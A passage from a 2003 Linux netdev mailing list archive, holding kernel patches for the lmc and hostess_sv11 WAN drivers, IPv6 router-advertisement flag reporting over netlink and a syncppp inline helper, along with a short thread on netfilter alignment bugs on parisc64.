Called from pci when removing module. + */ +static void __devexit lmc_remove_one (struct pci_dev *pdev) { - int pci_index = 0; - unsigned long pci_ioaddr; - unsigned int pci_irq_line; - u16 vendor, subvendor, device, subdevice; - u32 foundaddr = 0; - u8 intcf = 0; - struct pci_dev *pdev = NULL; - - /* Loop basically until we don't find anymore. */ - while ((pdev = pci_find_class (PCI_CLASS_NETWORK_ETHERNET << 8, pdev))) { - if (pci_enable_device(pdev)) - break; - - vendor = pdev->vendor; - device = pdev->device; - pci_irq_line = pdev->irq; - pci_ioaddr = pci_resource_start (pdev, 0); - subvendor = pdev->subsystem_vendor; - subdevice = pdev->subsystem_device; - - pci_set_master (pdev); - - /* - * Make sure it's the correct card. CHECK SUBVENDOR ID! - * There are lots of tulip's out there. - * Also check the region of registers we will soon be - * poking, to make sure no one else has reserved them. - * This prevents taking someone else's device. - * - * Check either the subvendor or the subdevice, some systems reverse - * the setting in the bois, seems to be version and arch dependent? - * Fix the two variables - * - */ - if (!(check_region (pci_ioaddr, LMC_REG_RANGE)) && - (vendor == CORRECT_VENDOR_ID) && - (device == CORRECT_DEV_ID) && - ((subvendor == PCI_VENDOR_LMC) || (subdevice == PCI_VENDOR_LMC))){ - struct net_device *cur, *prev = NULL; - - /* Fix the error, exchange the two values */ - if(subdevice == PCI_VENDOR_LMC){ - subdevice = subvendor; - subvendor = PCI_VENDOR_LMC ; - } - - /* Make the call to actually setup this card */ - dev = lmc_probe1 (dev, pci_ioaddr, pci_irq_line, - device, subdevice, cards_found); - if (dev == NULL) { - printk ("lmc_probe: lmc_probe1 failed\n"); - goto lmc_probe_next_card; - } - /* insert the device into the chain of lmc devices */ - for (cur = Lmc_root_dev; - cur != NULL; - cur = ((lmc_softc_t *) cur->priv)->next_module) { - prev = cur; - } - - if (prev == NULL) - Lmc_root_dev = dev; - else - ((lmc_softc_t *) prev->priv)->next_module = dev; - - ((lmc_softc_t *) dev->priv)->next_module = NULL; - /* end insert */ - - foundaddr = dev->base_addr; - - cards_found++; - intcf++; - } - lmc_probe_next_card: - pci_index++; + struct net_device *dev = pci_get_drvdata(pdev); + + if (dev) { + lmc_softc_t *sc = dev->priv; + + printk("%s: removing...\n", dev->name); + lmc_proto_detach(sc); + unregister_netdev(dev); + free_netdev(dev); + pci_release_regions(pdev); + pci_disable_device(pdev); + pci_set_drvdata(pdev, NULL); } - - if (cards_found < 1) - return -1; - - return foundaddr; } /* After this is called, packets can be sent. @@ -1181,8 +1102,6 @@ sc->stats.tx_tbusy0++ ; - MOD_INC_USE_COUNT; - /* * select what interrupts we want to get */ @@ -1352,7 +1271,6 @@ lmc_trace(dev, "lmc_ifdown out"); - MOD_DEC_USE_COUNT; return 0; } @@ -1850,12 +1768,11 @@ static struct net_device_stats *lmc_get_stats (struct net_device *dev) /*fold00*/ { - lmc_softc_t *sc; + lmc_softc_t *sc = dev->priv; unsigned long flags; lmc_trace(dev, "lmc_get_stats in"); - sc = dev->priv; spin_lock_irqsave(&sc->lmc_lock, flags); @@ -1868,58 +1785,21 @@ return (struct net_device_stats *) &sc->stats; } +static struct pci_driver lmc_driver = { + .name = "lmc", + .id_table = lmc_pci_tbl, + .probe = lmc_init_one, + .remove = __devexit_p(lmc_remove_one), +}; + static int __init init_lmc(void) { - printk ("lmc: module loaded\n"); - - /* Have lmc_probe search for all the cards, and allocate devices */ - if (lmc_probe (NULL) < 0) - return -EIO; - - return 0; + return pci_module_init(&lmc_driver); } static void __exit exit_lmc(void) { - struct net_device *dev, *next; - lmc_softc_t *sc; - - /* we have no pointer to our devices, since they are all dynamically - * allocated. So, here we loop through all the network devices - * looking for ours. When found, dispose of them properly. - */ - - for (dev = Lmc_root_dev; - dev != NULL; - dev = next ) - { - - next = ((lmc_softc_t *) dev->priv)->next_module; /* get it now before we deallocate it */ - printk ("%s: removing...\n", dev->name); - - /* close the syncppp stuff, and release irq. Close is run on unreg net */ - lmc_close (dev); - sc = dev->priv; - if (sc != NULL) - lmc_proto_detach(sc); - - /* Remove the device from the linked list */ - unregister_netdev (dev); - - /* Let go of the io region */; - release_region (dev->base_addr, LMC_REG_RANGE); - - /* free our allocated structures. */ - kfree (dev->priv); - dev->priv = NULL; - - free_netdev (dev); - dev = NULL; - } - - - Lmc_root_dev = NULL; - printk ("lmc module unloaded\n"); + pci_unregister_driver(&lmc_driver); } module_init(init_lmc); @@ -2326,8 +2206,3 @@ } - -int lmc_setup(void) { /*FOLD00*/ - return lmc_probe(NULL); -} - diff -Nru a/drivers/net/wan/lmc/lmc_var.h b/drivers/net/wan/lmc/lmc_var.h --- a/drivers/net/wan/lmc/lmc_var.h Tue Sep 16 14:33:16 2003 +++ b/drivers/net/wan/lmc/lmc_var.h Tue Sep 16 14:33:16 2003 @@ -390,7 +390,7 @@ struct timer_list timer; lmc_ctl_t ictl; u_int32_t TxDescriptControlInit; - struct net_device *next_module; /* Link to the next module */ + int tx_TimeoutInd; /* additional driver state */ int tx_TimeoutDisplay; unsigned int lastlmc_taint_tx; From krkumar@us.ibm.com Tue Sep 16 15:11:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 15:12:00 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GMBiYa027166 for ; Tue, 16 Sep 2003 15:11:51 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8GMAmAE285418; Tue, 16 Sep 2003 18:10:48 -0400 Received: from linux-udp12975569uds.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8GMAh8x062440; Tue, 16 Sep 2003 16:10:44 -0600 Date: Tue, 16 Sep 2003 15:06:37 -0700 (PDT) From: Krishna Kumar X-X-Sender: krkumar@linux-udp12861866uds To: "David S. Miller" cc: kuznet@ms2.inr.ac.ru, , , KK Subject: Re: O/M flags for 2.4.22 (was "Re: O/M flags against 2.6.0-test1") In-Reply-To: <20030912171921.37cab171.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev > I applied the 2.6.x version, but this 2.4.x version does > not apply cleanly, there are a bunch of rejects. Sorry about that, will remember to use the latest version. The patch is against 2.4.22-bk19. Thanks, - KK diff -ruN linux-2.4.22.org/include/linux/ipv6.h linux-2.4.22/include/linux/ipv6.h --- linux-2.4.22.org/include/linux/ipv6.h 2003-09-16 14:32:11.000000000 -0700 +++ linux-2.4.22/include/linux/ipv6.h 2003-09-16 14:33:10.000000000 -0700 @@ -100,6 +100,52 @@ struct in6_addr daddr; }; +/* + * This structure contains configuration options per IPv6 link. + */ +struct ipv6_devconf { + __s32 forwarding; + __s32 hop_limit; + __s32 mtu6; + __s32 accept_ra; + __s32 accept_redirects; + __s32 autoconf; + __s32 dad_transmits; + __s32 rtr_solicits; + __s32 rtr_solicit_interval; + __s32 rtr_solicit_delay; +#ifdef CONFIG_IPV6_PRIVACY + __s32 use_tempaddr; + __s32 temp_valid_lft; + __s32 temp_prefered_lft; + __s32 regen_max_retry; + __s32 max_desync_factor; +#endif + void *sysctl; +}; + +/* index values for the variables in ipv6_devconf */ +enum { + DEVCONF_FORWARDING = 0, + DEVCONF_HOPLIMIT, + DEVCONF_MTU6, + DEVCONF_ACCEPT_RA, + DEVCONF_ACCEPT_REDIRECTS, + DEVCONF_AUTOCONF, + DEVCONF_DAD_TRANSMITS, + DEVCONF_RTR_SOLICITS, + DEVCONF_RTR_SOLICIT_INTERVAL, + DEVCONF_RTR_SOLICIT_DELAY, +#ifdef CONFIG_IPV6_PRIVACY + DEVCONF_USE_TEMPADDR, + DEVCONF_TEMP_VALID_LFT, + DEVCONF_TEMP_PREFERED_LFT, + DEVCONF_REGEN_MAX_RETRY, + DEVCONF_MAX_DESYNC_FACTOR, +#endif + DEVCONF_MAX +}; + #ifdef __KERNEL__ /* diff -ruN linux-2.4.22.org/include/linux/rtnetlink.h linux-2.4.22/include/linux/rtnetlink.h --- linux-2.4.22.org/include/linux/rtnetlink.h 2003-09-16 14:32:11.000000000 -0700 +++ linux-2.4.22/include/linux/rtnetlink.h 2003-09-16 14:33:10.000000000 -0700 @@ -445,10 +445,12 @@ #define IFLA_MASTER IFLA_MASTER IFLA_WIRELESS, /* Wireless Extension event - see wireless.h */ #define IFLA_WIRELESS IFLA_WIRELESS + IFLA_PROTINFO, /* Protocol specific information for a link */ +#define IFLA_PROTINFO IFLA_PROTINFO }; -#define IFLA_MAX IFLA_WIRELESS +#define IFLA_MAX IFLA_PROTINFO #define IFLA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct ifinfomsg)))) #define IFLA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct ifinfomsg)) @@ -482,6 +484,18 @@ for IPIP tunnels, when route to endpoint is allowed to change) */ +/* Subtype attributes for IFLA_PROTINFO */ +enum +{ + IFLA_INET6_UNSPEC, + IFLA_INET6_FLAGS, /* link flags */ + IFLA_INET6_CONF, /* sysctl parameters */ + IFLA_INET6_STATS, /* statistics */ + IFLA_INET6_MCAST, /* MC things. What of them? */ +}; + +#define IFLA_INET6_MAX IFLA_INET6_MCAST + /***************************************************************** * Traffic control messages. ****/ diff -ruN linux-2.4.22.org/include/net/if_inet6.h linux-2.4.22/include/net/if_inet6.h --- linux-2.4.22.org/include/net/if_inet6.h 2003-08-25 04:44:44.000000000 -0700 +++ linux-2.4.22/include/net/if_inet6.h 2003-09-16 14:33:10.000000000 -0700 @@ -15,6 +15,10 @@ #ifndef _NET_IF_INET6_H #define _NET_IF_INET6_H +#include + +#define IF_RA_OTHERCONF 0x80 +#define IF_RA_MANAGED 0x40 #define IF_RA_RCVD 0x20 #define IF_RS_SENT 0x10 @@ -124,22 +128,6 @@ #define IFA_SITE IPV6_ADDR_SITELOCAL #define IFA_GLOBAL 0x0000U -struct ipv6_devconf -{ - int forwarding; - int hop_limit; - int mtu6; - int accept_ra; - int accept_redirects; - int autoconf; - int dad_transmits; - int rtr_solicits; - int rtr_solicit_interval; - int rtr_solicit_delay; - - void *sysctl; -}; - struct inet6_dev { struct net_device *dev; diff -ruN linux-2.4.22.org/net/ipv6/addrconf.c linux-2.4.22/net/ipv6/addrconf.c --- linux-2.4.22.org/net/ipv6/addrconf.c 2003-09-16 14:32:13.000000000 -0700 +++ linux-2.4.22/net/ipv6/addrconf.c 2003-09-16 14:33:10.000000000 -0700 @@ -1981,11 +1981,112 @@ netlink_broadcast(rtnl, skb, 0, RTMGRP_IPV6_IFADDR, GFP_ATOMIC); } +static void inline ipv6_store_devconf(struct ipv6_devconf *cnf, + __s32 *array, int bytes) +{ + memset(array, 0, bytes); + array[DEVCONF_FORWARDING] = cnf->forwarding; + array[DEVCONF_HOPLIMIT] = cnf->hop_limit; + array[DEVCONF_MTU6] = cnf->mtu6; + array[DEVCONF_ACCEPT_RA] = cnf->accept_ra; + array[DEVCONF_ACCEPT_REDIRECTS] = cnf->accept_redirects; + array[DEVCONF_AUTOCONF] = cnf->autoconf; + array[DEVCONF_DAD_TRANSMITS] = cnf->dad_transmits; + array[DEVCONF_RTR_SOLICITS] = cnf->rtr_solicits; + array[DEVCONF_RTR_SOLICIT_INTERVAL] = cnf->rtr_solicit_interval; + array[DEVCONF_RTR_SOLICIT_DELAY] = cnf->rtr_solicit_delay; +#ifdef CONFIG_IPV6_PRIVACY + array[DEVCONF_USE_TEMPADDR] = cnf->use_tempaddr; + array[DEVCONF_TEMP_VALID_LFT] = cnf->temp_valid_lft; + array[DEVCONF_TEMP_PREFERED_LFT] = cnf->temp_prefered_lft; + array[DEVCONF_REGEN_MAX_RETRY] = cnf->regen_max_retry; + array[DEVCONF_MAX_DESYNC_FACTOR] = cnf->max_desync_factor; +#endif +} + +static int inet6_fill_ifinfo(struct sk_buff *skb, struct net_device *dev, + struct inet6_dev *idev, + int type, u32 pid, u32 seq) +{ + __s32 *array = NULL; + struct ifinfomsg *r; + struct nlmsghdr *nlh; + unsigned char *b = skb->tail; + struct rtattr *subattr; + + nlh = NLMSG_PUT(skb, pid, seq, type, sizeof(*r)); + if (pid) nlh->nlmsg_flags |= NLM_F_MULTI; + r = NLMSG_DATA(nlh); + r->ifi_family = AF_INET6; + r->ifi_type = dev->type; + r->ifi_index = dev->ifindex; + r->ifi_flags = dev->flags; + r->ifi_change = 0; + if (!netif_running(dev) || !netif_carrier_ok(dev)) + r->ifi_flags &= ~IFF_RUNNING; + else + r->ifi_flags |= IFF_RUNNING; + + RTA_PUT(skb, IFLA_IFNAME, strlen(dev->name)+1, dev->name); + + subattr = (struct rtattr*)skb->tail; + + RTA_PUT(skb, IFLA_PROTINFO, 0, NULL); + + /* return the device flags */ + RTA_PUT(skb, IFLA_INET6_FLAGS, sizeof(__u32), &idev->if_flags); + + /* return the device sysctl params */ + if ((array = kmalloc(DEVCONF_MAX * sizeof(*array), GFP_ATOMIC)) == NULL) + goto rtattr_failure; + ipv6_store_devconf(&idev->cnf, array, DEVCONF_MAX * sizeof(*array)); + RTA_PUT(skb, IFLA_INET6_CONF, DEVCONF_MAX * sizeof(*array), array); + + /* XXX - Statistics/MC not implemented */ + subattr->rta_len = skb->tail - (u8*)subattr; + + nlh->nlmsg_len = skb->tail - b; + kfree(array); + return skb->len; + +nlmsg_failure: +rtattr_failure: + if (array) + kfree(array); + skb_trim(skb, b - skb->data); + return -1; +} + +static int inet6_dump_ifinfo(struct sk_buff *skb, struct netlink_callback *cb) +{ + int idx, err; + int s_idx = cb->args[0]; + struct net_device *dev; + struct inet6_dev *idev; + + read_lock(&dev_base_lock); + for (dev=dev_base, idx=0; dev; dev = dev->next, idx++) { + if (idx < s_idx) + continue; + if ((idev = in6_dev_get(dev)) == NULL) + continue; + err = inet6_fill_ifinfo(skb, dev, idev, RTM_NEWLINK, + NETLINK_CB(cb->skb).pid, cb->nlh->nlmsg_seq); + in6_dev_put(idev); + if (err <= 0) + break; + } + read_unlock(&dev_base_lock); + cb->args[0] = idx; + + return skb->len; +} + static struct rtnetlink_link inet6_rtnetlink_table[RTM_MAX-RTM_BASE+1] = { { NULL, NULL, }, { NULL, NULL, }, - { NULL, NULL, }, + { NULL, inet6_dump_ifinfo, }, { NULL, NULL, }, { inet6_rtm_newaddr, NULL, }, diff -ruN linux-2.4.22.org/net/ipv6/ndisc.c linux-2.4.22/net/ipv6/ndisc.c --- linux-2.4.22.org/net/ipv6/ndisc.c 2003-09-16 14:32:13.000000000 -0700 +++ linux-2.4.22/net/ipv6/ndisc.c 2003-09-16 14:33:10.000000000 -0700 @@ -944,6 +944,17 @@ in6_dev->if_flags |= IF_RA_RCVD; } + /* + * Remember the managed/otherconf flags from most recently + * received RA message (RFC 2462) -- yoshfuji + */ + in6_dev->if_flags = (in6_dev->if_flags & ~(IF_RA_MANAGED | + IF_RA_OTHERCONF)) | + (ra_msg->icmph.icmp6_addrconf_managed ? + IF_RA_MANAGED : 0) | + (ra_msg->icmph.icmp6_addrconf_other ? + IF_RA_OTHERCONF : 0); + lifetime = ntohs(ra_msg->icmph.icmp6_rt_lifetime); rt = rt6_get_dflt_router(&skb->nh.ipv6h->saddr, skb->dev); From shemminger@osdl.org Tue Sep 16 16:53:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 16:54:01 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GNraYa000540 for ; Tue, 16 Sep 2003 16:53:57 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8GNrOo05668; Tue, 16 Sep 2003 16:53:24 -0700 Date: Tue, 16 Sep 2003 16:53:03 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] fix up hostess driver Message-Id: <20030916165303.3c31c4cb.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Cleanup several problems that kept this driver from building in 2.6.0-test5: - wrong include file. - use alloc_netdev and dev->priv - order of ppp_device and dev->priv is required for sppp_of - handle non-module initialization properly. Tested by #ifdef'ing out all the naughty bits that talk to hardware and doing load/unload. diff -Nru a/drivers/net/wan/hostess_sv11.c b/drivers/net/wan/hostess_sv11.c --- a/drivers/net/wan/hostess_sv11.c Tue Sep 16 16:49:42 2003 +++ b/drivers/net/wan/hostess_sv11.c Tue Sep 16 16:49:42 2003 @@ -33,15 +33,14 @@ #include #include #include -#include "z85229.h" +#include "z85230.h" static int dma; struct sv11_device { - void *if_ptr; /* General purpose pointer (used by SPPP) */ + struct ppp_device netdev; /* must be first for spp_of()*/ struct z8530_dev sync; - struct ppp_device netdev; }; /* @@ -55,17 +54,21 @@ static void hostess_input(struct z8530_channel *c, struct sk_buff *skb) { + struct sv11_device *sv11 + = container_of(c->dev, struct sv11_device, sync); + struct net_device *dev = sv11->netdev.dev; + /* Drop the CRC - it's not a good idea to try and negotiate it ;) */ skb_trim(skb, skb->len-2); skb->protocol=__constant_htons(ETH_P_WAN_PPP); skb->mac.raw=skb->data; - skb->dev=c->netdevice; + skb->dev=dev; /* * Send it to the PPP layer. We don't have time to process * it right now. */ netif_rx(skb); - c->netdevice->last_rx = jiffies; + dev->last_rx = jiffies; } /* @@ -122,7 +125,6 @@ */ netif_start_queue(d); - MOD_INC_USE_COUNT; return 0; } @@ -154,7 +156,6 @@ z8530_sync_txdma_close(d, &sv11->sync.chanA); break; } - MOD_DEC_USE_COUNT; return 0; } @@ -206,33 +207,40 @@ /* * Description block for a Comtrol Hostess SV11 card */ +static __init void sv11_setup(struct net_device *d) +{ + d->open = hostess_open; + d->stop = hostess_close; + d->hard_start_xmit = hostess_queue_xmit; + d->get_stats = hostess_get_stats; + d->set_multicast_list = NULL; + d->do_ioctl = hostess_ioctl; + d->neigh_setup = hostess_neigh_setup_dev; + d->set_mac_address = NULL; +} -static struct sv11_device *sv11_init(int iobase, int irq) +static __init struct sv11_device *sv11_init(int iobase, int irq) { struct z8530_dev *dev; struct sv11_device *sv; + struct net_device *d; /* * Get the needed I/O space */ - if(!request_region(iobase, 8, "Comtrol SV11")) { printk(KERN_WARNING "hostess: I/O 0x%X already in use.\n", iobase); return NULL; } - sv=(struct sv11_device *)kmalloc(sizeof(struct sv11_device), GFP_KERNEL); - if(!sv) + d = alloc_netdev(sizeof(struct sv11_device), + "hdlc%d", sv11_setup); + if (!d) goto fail3; - - memset(sv, 0, sizeof(*sv)); - sv->if_ptr=&sv->netdev; - - sv->netdev.dev=(struct net_device *)kmalloc(sizeof(struct net_device), GFP_KERNEL); - if(!sv->netdev.dev) - goto fail2; + sv = d->priv; + sv->netdev.dev=d; dev=&sv->sync; /* @@ -310,44 +318,29 @@ /* * Now we can take the IRQ */ - if(dev_alloc_name(dev->chanA.netdevice,"hdlc%d")>=0) - { - struct net_device *d=dev->chanA.netdevice; - /* - * Initialise the PPP components - */ - sppp_attach(&sv->netdev); - - /* - * Local fields - */ + /* + * Initialise the PPP components + */ + sppp_attach(&sv->netdev); - d->base_addr = iobase; - d->irq = irq; - d->priv = sv; - d->init = NULL; + /* + * Local fields + */ - d->open = hostess_open; - d->stop = hostess_close; - d->hard_start_xmit = hostess_queue_xmit; - d->get_stats = hostess_get_stats; - d->set_multicast_list = NULL; - d->do_ioctl = hostess_ioctl; - d->neigh_setup = hostess_neigh_setup_dev; - d->set_mac_address = NULL; + d->base_addr = iobase; + d->irq = irq; - if(register_netdev(d)==-1) - { - printk(KERN_ERR "%s: unable to register device.\n", - d->name); - goto fail; - } + if(register_netdev(d)) { + printk(KERN_ERR "%s: unable to register device.\n", + d->name); + goto fail; + } + + z8530_describe(dev, "I/O", iobase); + dev->active=1; + return sv; - z8530_describe(dev, "I/O", iobase); - dev->active=1; - return sv; - } dmafail2: if(dma==1) free_dma(dev->chanA.rxdma); @@ -356,31 +349,31 @@ free_dma(dev->chanA.txdma); fail: free_irq(irq, dev); -fail1: - kfree(sv->netdev.dev); -fail2: - kfree(sv); + + kfree(d); fail3: release_region(iobase,8); +fail1: return NULL; } -static void sv11_shutdown(struct sv11_device *dev) +static void __exit sv11_shutdown(struct sv11_device *sv) { - sppp_detach(dev->netdev.dev); - z8530_shutdown(&dev->sync); - unregister_netdev(dev->netdev.dev); - free_irq(dev->sync.irq, dev); - if(dma) - { + struct net_device *d = sv->netdev.dev; + struct z8530_dev *dev = &sv->sync; + + sppp_detach(d); + z8530_shutdown(dev); + unregister_netdev(d); + free_irq(sv->sync.irq, dev); + if(dma) { if(dma==1) - free_dma(dev->sync.chanA.rxdma); - free_dma(dev->sync.chanA.txdma); + free_dma(sv->sync.chanA.rxdma); + free_dma(sv->sync.chanA.txdma); } - release_region(dev->sync.chanA.ctrlio-1, 8); + release_region(sv->sync.chanA.ctrlio-1, 8); } -#ifdef MODULE static int io=0x200; static int irq=9; @@ -398,20 +391,22 @@ static struct sv11_device *sv11_unit; -int init_module(void) +static int __init hostess_init_module(void) { +#ifdef MODULE printk(KERN_INFO "SV-11 Z85230 Synchronous Driver v 0.03.\n"); printk(KERN_INFO "(c) Copyright 2001, Red Hat Inc.\n"); - if((sv11_unit=sv11_init(io,irq))==NULL) - return -ENODEV; - return 0; +#endif + sv11_unit =sv11_init(io,irq); + return sv11_unit ? 0 : -ENODEV; } -void cleanup_module(void) +static void __exit hostess_cleanup_module(void) { if(sv11_unit) sv11_shutdown(sv11_unit); } -#endif +module_init(hostess_init_module); +module_exit(hostess_cleanup_module); From shemminger@osdl.org Tue Sep 16 16:56:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 16:56:08 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GNu3Ya000914 for ; Tue, 16 Sep 2003 16:56:04 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8GNtvo06563; Tue, 16 Sep 2003 16:55:57 -0700 Date: Tue, 16 Sep 2003 16:55:37 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] replace sppp_of macro with inline Message-Id: <20030916165537.310229e6.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 6 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Replace macro with inline and get some type checking. diff -Nru a/include/net/syncppp.h b/include/net/syncppp.h --- a/include/net/syncppp.h Tue Sep 16 16:54:39 2003 +++ b/include/net/syncppp.h Tue Sep 16 16:54:39 2003 @@ -57,8 +57,11 @@ struct sppp sppp; /* Synchronous PPP */ }; -#define sppp_of(dev) \ - (&((struct ppp_device *)(*(unsigned long *)((dev)->priv)))->sppp) +static inline struct sppp *sppp_of(struct net_device *dev) +{ + struct ppp_device *ppp = dev->priv; + return &ppp->sppp; +} #define PP_KEEPALIVE 0x01 /* use keepalive protocol */ #define PP_CISCO 0x02 /* use Cisco protocol instead of PPP */ From davem@pizda.ninka.net Tue Sep 16 18:27:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 18:28:15 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H1RwYa008961 for ; Tue, 16 Sep 2003 18:27:58 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA00520; Tue, 16 Sep 2003 18:16:03 -0700 Date: Tue, 16 Sep 2003 18:16:03 -0700 From: "David S. Miller" To: Harald Welte Cc: hno@marasystems.com, bdschuym@pandora.be, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030916181603.366b7c06.davem@redhat.com> In-Reply-To: <20030916140918.GF810@obroa-skai.de.gnumonks.org> References: <200309022116.41697.bdschuym@pandora.be> <200309132159.37834.bdschuym@pandora.be> <20030915155903.12a3f95d.davem@redhat.com> <200309160805.08171.bdschuym@pandora.be> <20030915230259.79f5a545.davem@redhat.com> <1063703910.5948.85.camel@henrik.marasystems.com> <20030916140918.GF810@obroa-skai.de.gnumonks.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 7 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 16 Sep 2003 16:09:18 +0200 Harald Welte wrote: > On Tue, Sep 16, 2003 at 11:18:34AM +0200, Henrik Nordstrom wrote: > > tis 2003-09-16 klockan 08.02 skrev David S. Miller: > > > > unfortunately iptables does not allow such differences between userspace > > and kernel representation.. > > yes. yes. yes. The whole 'kernel internal data structure exported to > userspace' is a fundamental design flaw of iptables. There's nothing we > can do about it, we'll have to live with it :( Why can't you change this? Just because the user gives the kernel the data in one format, this does not at all prevent the actual iptables kernel implementation from using some other structure to store the data. You just have to translate things on the way in and out, that's all. From davem@pizda.ninka.net Tue Sep 16 18:35:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 18:35:28 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H1ZNYa009439 for ; Tue, 16 Sep 2003 18:35:23 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA00577; Tue, 16 Sep 2003 18:23:35 -0700 Date: Tue, 16 Sep 2003 18:23:35 -0700 From: "David S. Miller" To: Bart De Schuymer Cc: tommy@home.tig-grr.com, laforge@netfilter.org, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030916182335.359c419f.davem@redhat.com> In-Reply-To: <200309161757.50682.bdschuym@pandora.be> References: <200309022116.41697.bdschuym@pandora.be> <20030916140621.GE810@obroa-skai.de.gnumonks.org> <20030916151533.GA28380@home.tig-grr.com> <200309161757.50682.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 8 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 16 Sep 2003 17:57:50 +0200 Bart De Schuymer wrote: > 2.4 hasn't got ipt_physdev But recall that there are other netfilter modules doing this "compare chars using cast to long" trick that need to be fixed too. Also, adding attributes to user exported structures would need to be done _very_ carefully, as compilation when using such gcc extensions will fail when the user uses '-ansi' on the compiler command line. From scott.feldman@intel.com Tue Sep 16 19:06:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Sep 2003 19:06:20 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H269Ya011122 for ; Tue, 16 Sep 2003 19:06:10 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8H23hb08756 for ; Wed, 17 Sep 2003 02:03:43 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8H20jt26146 for ; Wed, 17 Sep 2003 02:00:45 GMT Received: from 